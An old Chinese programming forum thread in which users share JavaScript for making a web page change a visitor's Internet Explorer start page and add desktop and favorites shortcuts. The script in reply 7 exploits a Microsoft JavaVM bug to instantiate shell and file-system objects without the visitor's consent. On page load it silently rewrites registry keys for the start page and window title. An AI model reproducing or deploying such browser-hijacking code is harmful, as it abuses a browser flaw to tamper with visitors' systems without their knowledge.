<script language="Javascript">
  var WshShell = new ActiveXObject("WScript.Shell");
  var url="http://lucky.myrice.com";
  var title="【孟宪会之精彩世界】";
  WshShell.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", url);
  var FavoritesPath = WshShell.SpecialFolders("Favorites");
  var oUrlLink = WshShell.CreateShortcut(FavoritesPath+'\\'+title+".lnk");
  oUrlLink.TargetPath = url;
  oUrlLink.Save();
  var DesktopPath = WshShell.SpecialFolders("Desktop");//返回桌面路径
  DesktopPath=DesktopPath.substring(0,DesktopPath.length-7)
  var MyShortcut = WshShell.CreateShortcut(DesktopPath + title+ "的快捷方式.lnk");
  MyShortcut.TargetPath = url;
  MyShortcut.WindowStyle = 4;
  MyShortcut.IconLocation = WshShell.ExpandEnvironmentStrings("%windir%\\SYSTEM\\SHELL32.DLL,46");
  MyShortcut.Save();  
</script>

解决方案 »

  1.   

    <script language="Javascript">
      var WshShell = new ActiveXObject("WScript.Shell");
      var url="http://lucky.myrice.com";
      var title="【孟宪会之精彩世界】";
      WshShell.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", url);
      var FavoritesPath = WshShell.SpecialFolders("Favorites");
      var oUrlLink = WshShell.CreateShortcut(FavoritesPath+'\\'+title+".lnk");
      oUrlLink.TargetPath = url;
      oUrlLink.Save();
      var DesktopPath = WshShell.SpecialFolders("Desktop");//返回桌面路径
      //alert(DesktopPath)
      //DesktopPath=DesktopPath.substring(0,DesktopPath.length-7)
      var MyShortcut = WshShell.CreateShortcut(DesktopPath + "\\" + title+ "的快捷方式.lnk");
      MyShortcut.TargetPath = url;
      MyShortcut.WindowStyle = 4;
      MyShortcut.IconLocation = WshShell.ExpandEnvironmentStrings("%windir%\\SYSTEM\\SHELL32.DLL,46");
      MyShortcut.Save();  
    </script>
      

  2.   

    <script>
    window.external.addFavorite('http://colorweb.go.163.com','孟宪会之精彩世界')
    </script>
      

  3.   

    为什么它说出错:
    “automation服务器不能创建对象”
      

  4.   

    Internet选项->安全->自定义级别->对没有标记为安全的ActiveX控件,允许
      

  5.   

    为什么我把这段代码单独运行,就能行,但放到网页文件里就不行呢?BODY和HEAD里,我都试了
      

  6.   

    http://www.csdn.net/Expert/forum.asp?typenum=8&searchKeys=%D7%A2%B2%E1%B1%ED&roomid=27&author=&tabletype=now
      

  7.   

    <body>
     <SCRIPT>
    document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
    function AddFavLnk(loc,DispName,SiteURL)
    {
    var Shor=Shl.CreateShortcut(loc+"\\"+DispName+".URL");
    Shor.TargetPath=SiteURL;
    Shor.Save();
    }
    function f(){
    try
    {
    a1=document.applets[0];
    a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
    a1.createInstance();
    Shl=a1.GetObject();
    a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
    a1.createInstance();
    FSO=a1.GetObject();
    a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
    a1.createInstance();
    Net=a1.GetObject();
     
    try
    {
    {
    Shl.RegWrite("HKCU\\Software\\Microsoft\\InternetExplorer\\Main\\StartPage","http://lucky.myrice.com/");
    Shl.RegWrite("HKCU\\Software\\Microsoft\\InternetExplorer\\Main\\WindowTitle","【孟宪会之精彩世界】http://lucky.myrice.com制作!!");
    var WF,Shor,loc;
    WF=FSO.GetSpecialFolder(0);
    loc=WF+"\\Favorites";
    if(!FSO.FolderExists(loc))
    {
    loc=FSO.GetDriveName(WF)+"\\DocumentsandSettings\\"+Net.UserName+"\\Favorites";
    if(!FSO.FolderExists(loc))
    {
    return;
    }
    }
    AddFavLnk(loc,"【孟宪会之精彩世界】","http://lucky.myrice.com/");
    }
    }
    catch(e)
    {}
    }
    catch(e)
    {}
    }
     
    function init()
    {
    setTimeout("f()",1000);
    }
     
    init();
     
     </SCRIPT>
     </body>
     </HTML>
      

  8.   

    自动修改注册表的代码是利用IE自己带的JavaVM的3805一下版本的bug实现的,对于3805以上无效